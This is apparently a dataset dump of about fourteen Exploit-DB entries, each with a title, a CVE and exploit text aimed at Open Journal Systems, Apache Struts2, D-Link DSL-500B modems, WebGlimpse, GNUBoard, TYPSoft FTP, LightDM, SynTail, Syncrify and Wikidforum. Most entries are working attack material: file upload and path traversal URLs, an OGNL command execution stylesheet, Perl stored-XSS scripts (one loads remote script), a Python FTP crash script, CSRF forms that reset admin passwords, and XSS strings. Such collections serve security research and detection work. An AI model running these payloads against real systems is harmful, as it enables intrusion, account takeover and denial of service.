QLWD/code_shield huggingface dataset:
标题: Open Journal Systems (OJS) 2.3.6 - Multiple Script Arbitrary File Upload EDB-ID: 37001 CVE: 2012-1468 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52666/info
   
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
   
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
   
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
   
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected. 

Malicious registered user shall start a new Submission:
http://www.example.com/index.php/[journal]/author/submit/1
on the second step of the Submission:
http://www.example.com/index.php/[journal]/author/submit/2?articleId=14
the user should upload test.pHp, test.asp, test.cgi, test.php3 or test.html file. The uploaded file will be available on the following URL:
http://www.example.com/files/journals/[journalid]/articles/[articleid]/submission/original/[newfilename]
The original file name will be changed, however it will be displayed to the user after upload (for example "16-28-1-SM.pHp"). File extension will remain the same. URL: https://www.exploit-db.com/exploits/37001
标题: Open Journal Systems (OJS) 2.3.6 - 'rfiles.php' Traversal Arbitrary File Manipulation EDB-ID: 37002 CVE: 2012-1467 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52666/info
    
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
    
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
    
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected. 

http://www.example.com/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en& param=delete|/../../../../../../../../../../../../../../../../../../../temp/file_to_delete

Arbitrary File Renaming:
http://www.example.com/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en& param=rename|file.jpg|file.php%00.jpg
http://www.example.com/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en& param=rename|/../../../../../../../../../../../../../../../../../../../tmp/file_to_move|1x.jpg URL: https://www.exploit-db.com/exploits/37002
标题: Apache Struts 2.0 - 'XSLTResult.java' Arbitrary File Upload EDB-ID: 37009 CVE: 2012-1592 类型: WEBAPPS 平台: JAVA 发布日期: 2012-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/52702/info

Apache Struts2 is prone to a remote arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.example.com/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html> 
<body> 
<h2>hacked by kxlzx</h2> 
<h2>http://www.example.com</h2> 
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
</exp>
</body> 
</html> 
</xsl:template> 
</xsl:stylesheet> URL: https://www.exploit-db.com/exploits/37009
标题: Open Journal Systems (OJS) 2.3.6 - 'index.php?authors[][url]' Cross-Site Scripting EDB-ID: 36999 CVE: 2012-1469 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52666/info
 
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
 
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
 
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected. 

On the submissions page URL:
http://www.example.com/index.php/[journal]/author/submit/3?articleId=[id]
the attacker should add a malicious code to the "URL" field:
"><script>alert(document.cookie)</script>
the XSS will be displayed here:
http://www.example.com/index.php/[submission]/author/submission/[id] URL: https://www.exploit-db.com/exploits/36999
标题: D-Link DSL-500B Gen 2 - URL Filter Configuration Panel Persistent Cross-Site Scripting EDB-ID: 36988 CVE: 2013-5223 类型: WEBAPPS 平台: HARDWARE 发布日期: 2015-05-11 漏洞利用脚本: #!/usr/bin/perl
#
# Date dd-mm-aaaa: 13-02-2015
# Exploit for D-Link DSL-500B G2
# Cross Site Scripting (XSS Injection) Stored in todmngr.tod URL Filter
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
#
# CAUTION!
# This exploit disables some features of the modem,
# forcing the administrator of the device, accessing the page to reconfigure the modem again,
# occurring script execution in the browser of internal network users.
#
# Use with caution!
# Use at your own risk!
#

use strict;
use warnings;
use diagnostics;
use LWP::UserAgent;
use HTTP::Request;
use URI::Escape;

 my $ip = $ARGV[0];

 my $user = $ARGV[1];

 my $pass = $ARGV[2];
  

  if (@ARGV != 3){

   print "\n";
   print "XLabs Information Security www.xlabs.com.br\n";
   print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n";
   print "Developed by Mauricio Correa\n";
   print "Contact: mauricio\@xlabs.com.br\n";
   print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";

  }else{

   $ip = $1 if($ip=~/(.*)\/$/);

   print "XLabs Information Security www.xlabs.com.br\n";
   print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n";
   print "Developed by Mauricio Correa\n";
   print "Contact: mauricio\@xlabs.com.br\n";
   print "[+] Exploring $ip\/ ...\n";

   my $payload = "%3Cscript%20src%3D%27%2f%2fxlabs.com.br%2fxssi.js%27%3E%3C%2fscript%3E";
   
   my $ua = new LWP::UserAgent;

   my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );

   $hdrs->authorization_basic($user, $pass);
   
   chomp($ip);

   
   print "[+] Preparing exploit...\n";
   
   my $url_and_xpl = "$ip/todmngr.tod?action=set_url&TodUrlAdd=GameOver$payload&port_num=1234";
      
   my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);

   print "[+] Prepared!\n";
   
   print "[+] Requesting and Exploiting...\n";
   
   my $resp = $ua->request($req);

   if ($resp->is_success){

   print "[+] Successfully Requested!\n";
   
   
    my $url = "$ip/todmngr.tod?action=urlview";
   
    $req = new HTTP::Request("GET",$url,$hdrs);

    print "[+] Checking that was explored...\n";
    
    
    my $resp2 = $ua->request($req);
    
    
    if ($resp2->is_success){

    my $resultado = $resp2->as_string;
    
       if(index($resultado, uri_unescape($payload)) != -1){
       
        print "[+] Successfully Exploited!";

       }else{
       
        print "[-] Not Exploited!";
       
       }
    }

   }else {

    print "[-] Ops!\n";
    print $resp->message;

   }


} URL: https://www.exploit-db.com/exploits/36988
标题: WebGlimpse 2.18.7 - 'DOC' Directory Traversal EDB-ID: 36994 CVE: 2009-5114 类型: WEBAPPS 平台: CGI 发布日期: 2009-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/52651/info

WebGlimpse is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

WebGlimpse 2.18.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd URL: https://www.exploit-db.com/exploits/36994
标题: D-Link DSL-500B Gen 2 - Parental Control Configuration Panel Persistent Cross-Site Scripting EDB-ID: 36987 CVE: 2013-5223 类型: WEBAPPS 平台: HARDWARE 发布日期: 2015-05-11 漏洞利用脚本: #!/usr/bin/perl
#
# Date dd-mm-aaaa: 13-02-2015
# Exploit for D-Link DSL-500B G2
# Cross Site Scripting (XSS Injection) Stored in todmngr.tod
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
#
# CAUTION!
# This exploit disables some features of the modem,
# forcing the administrator of the device, accessing the page to reconfigure the modem again,
# occurring script execution in the browser of internal network users.
#
# Use with caution!
# Use at your own risk!
#

use strict;
use warnings;
use diagnostics;
use LWP::UserAgent;
use HTTP::Request;
use URI::Escape;

 my $ip = $ARGV[0];

 my $user = $ARGV[1];

 my $pass = $ARGV[2];
  

  if (@ARGV != 3){

   print "\n";
   print "XLabs Information Security www.xlabs.com.br\n";
   print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in todmngr.tod\n";
   print "Developed by Mauricio Correa\n";
   print "Contact: mauricio\@xlabs.com.br\n";
   print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";

  }else{

   $ip = $1 if($ip=~/(.*)\/$/);

   print "XLabs Information Security www.xlabs.com.br\n";
   print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in todmngr.tod\n";
   print "Developed by Mauricio Correa\n";
   print "Contact: mauricio\@xlabs.com.br\n";
   print "[+] Exploring $ip\/ ...\n";

   my $payload = "%3Cscript%3Ealert%28%27XLabs%27%29%3C%2fscript%3E";
   
   my $ua = new LWP::UserAgent;

   my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );

   $hdrs->authorization_basic($user, $pass);
   
   chomp($ip);

   
   print "[+] Preparing exploit...\n";
   
   my $url_and_xpl = "$ip/todmngr.tod?action=add&username=$payload&mac=AA:BB:CC:DD:EE:FF&days=1&start_time=720&end_time=840";
      
   my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);

   print "[+] Prepared!\n";
   
   print "[+] Requesting and Exploiting...\n";
   
   my $resp = $ua->request($req);

   if ($resp->is_success){

   print "[+] Successfully Requested!\n";
   
   
    my $url = "$ip/todmngr.tod?action=view";
   
    $req = new HTTP::Request("GET",$url,$hdrs);

    print "[+] Checking that was explored...\n";
    
    
    my $resp2 = $ua->request($req);
    
    
    if ($resp2->is_success){

    my $resultado = $resp2->as_string;
    
       if(index($resultado, uri_unescape($payload)) != -1){
       
       print "[+] Successfully Exploited!";

       }else{
       
       print "[-] Not Exploited!";
       
       }
    }

   }else {

   print "[-] Ops!\n";
   print $resp->message;

   }


} URL: https://www.exploit-db.com/exploits/36987
标题: GNUBoard 4.34.20 - 'download.php' HTML Injection EDB-ID: 36973 CVE: 2012-4873 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/52622/info

Gnuboard is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user.

Gnuboard versions prior to 4.34.21 are vulnerable.

1) you can upload a file (e.g. a.txt) to the BBS.
2) you can download it from the following scripts and figure out what's working on.
   ### vulnerable code #########################################################################################################################
   javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt');
   #############################################################################################################################################
3) you can also upload a file with name of XSS code. The following is the example.
   - ');alert(document.cookie);//
   - %27);alert(document.cookie);%2f%2f
   - %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f
   ### vulnerable code #########################################################################################################################
   javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//');
   #############################################################################################################################################
4) The example file works by pulling in the Javascript and running it as part of the Javascript. URL: https://www.exploit-db.com/exploits/36973
标题: TYPSoft FTP Server 1.1 - 'APPE' Remote Buffer Overflow EDB-ID: 36972 CVE: 2012-5329 类型: DOS 平台: WINDOWS 发布日期: 2012-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/52554/info

TYPSoft FTP Server is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
import socket, sys
if len(sys.argv)!= 2:
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'
host = sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A../' + '\x41' *100
print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'
s.connect((host,21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('APPE ' + buffer + '\r\n')
print '\n\t[*] Done! Target should be unresponsive!'
s.close() URL: https://www.exploit-db.com/exploits/36972
标题: WebGlimpse 2.x - 'wgarcmin.cgi' Full Path Disclosure EDB-ID: 36976 CVE: 2009-5112 类型: WEBAPPS 平台: CGI 发布日期: 2012-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/52646/info

WebGlimpse is prone to a path-disclosure vulnerability.

Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer.

WebGlimpse 2.18.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=1 URL: https://www.exploit-db.com/exploits/36976
标题: LightDM 1.0.6 - Arbitrary File Deletion EDB-ID: 36966 CVE: 2012-0943 类型: LOCAL 平台: LINUX 发布日期: 2012-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/52452/info

Light Display Manager (LightDM) is prone to a local arbitrary-file-deletion vulnerability.

A local attacker can exploit this issue to delete arbitrary files with administrator privileges.

Light Display Manager (LightDM) 1.0.6 is vulnerable. Other versions may also be affected. 

/usr/sbin/guest-account has this cleanup:

# remove leftovers in /tmp
find /tmp -mindepth 1 -maxdepth 1 -uid "$UID" | xargs rm -rf || true

This runs with the cwd of the last logged in user. If the user creates a file "/tmp/x a", the file "a" gets removed from the last user's login. URL: https://www.exploit-db.com/exploits/36966
标题: SynTail 1.5 Build 566 - Multiple Vulnerabilities EDB-ID: 36953 CVE: 2015-3140 类型: WEBAPPS 平台: PHP 发布日期: 2015-05-08 漏洞利用脚本: # Exploit Title: Multiple vulnerabilities in SynTail 1.5 Build 566 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: marlowtannhauser@gmail.com
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/SynTailDownload.htm
# Version: 1.5 Build 566. Earlier versions may also be affected.
# CVE: 2015-3140
# Category: Web apps


# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure

Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.


# EXPLOIT DESCRIPTION #
SynTail 1.5 Build 566 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability to create a new file bundle, and combines it with one of the stored XSS vulnerabilities

<html>
<body>
<form name="evilform" method="post" action="http://192.168.0.8:9555/app">
<input type="hidden" name="friendlyName" value="<script>alert("Marlow")</script> />
<input type="hidden" name="selectedPath" value="/home/" />
<input type="hidden" name="showFiles" value="true" />
<input type="hidden" name="st" value="addfb" />
<input type="hidden" name="operation" value="mngFB" />
</form>
<script type="text/javascript">
document.evilform.submit();
</script>
</body>
</html> 


# POC 2 #
The following PoC uses the CSRF vulnerability to create a new user with the details shown

<html>
<body>
<form name="evilform" method="post" action="http://192.168.1.245:9555/app?operation=mngUsers">
<input type="hidden" name="fullName" value="marlow" />
<input type="hidden" name="email" value="marlow@marlow.com" />
<input type="hidden" name="password" value="marlow" />
<input type="hidden" name="showFiles" value="true" />
<input type="hidden" name="st" value="addfb" />
<input type="hidden" name="operation" value="mngUsers" />
</form>
<script type="text/javascript">
document.evilform.submit();
</script>
</body>
</html> 


# STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:

Manage Users > Create a new user > Full name field and Email field
Example URL: POST request

Manage file bundles > Create a new file bundle > Friendly name field and File path field
Example URL: POST request


# MITIGATION #
Upgrade to the latest build of SynTail, available from the link shown. URL: https://www.exploit-db.com/exploits/36953
标题: Syncrify Server 3.6 Build 833 - Multiple Vulnerabilities EDB-ID: 36950 CVE: 2015-3140 类型: WEBAPPS 平台: PHP 发布日期: 2015-05-08 漏洞利用脚本: # Exploit Title: Multiple vulnerabilities in Syncrify Server 3.6 Build 833 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: marlowtannhauser@gmail.com
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/SyncrifyDownload.htm
# Version: 3.6 Build 833. Earlier versions may also be affected.
# CVE: 2015-3140
# Category: Web apps


# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure

Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.


# EXPLOIT DESCRIPTION #
Syncrify 3.6 Build 833 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability to change the SMTP settings in the application, and combines it with two of the stored XSS vulnerabilities.

<html>
<img src="http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtpPassword=admin&smtpSecurity=None&proceedButton=Save&operation=config&st=saveSmtp" alt="" width="1" height="1">
</html>


# POC 2 #
The following PoC uses the CSRF vulnerability to change the administrator password.

<html>
<img src="http://192.168.0.8:5800/app?adminPassword=MARLOW&alertInvalidPassword=true&blockIP=false&alertManualPath=false&proceedButton=Save&operation=config&st=saveSecurity" width="0" height="0" border="0">
</html>


# STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:

Manage Users > Add New User > User's Full Name [displayed in Reports > Backup report by user]
Example URL: http://192.168.0.8:5800/app?fullName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&login=user%40user.com&password=password&numVersionsToKeep=0&diskQuota=-1&selectedPath=%2Fhome%2F&operation=manageUsers&st=addUser#

Configuration > Email Configuration > Administrator's Email [displayed in Troubleshoot and Reports pages]
Example URL: http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtpPassword=admin&smtpSecurity=None&proceedButton=Save&operation=config&st=saveSmtp


# MITIGATION #
Upgrade to the latest build of Syncrify Server, available from the link shown. URL: https://www.exploit-db.com/exploits/36950
标题: Wikidforum 2.10 - Search Field Cross-Site Scripting EDB-ID: 36947 CVE: 2012-2099 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/52425/info
 
Wikidforum is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Wikidforum 2.10 is vulnerable; other versions may also be affected. 

Search-Field -> '"</script><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/36947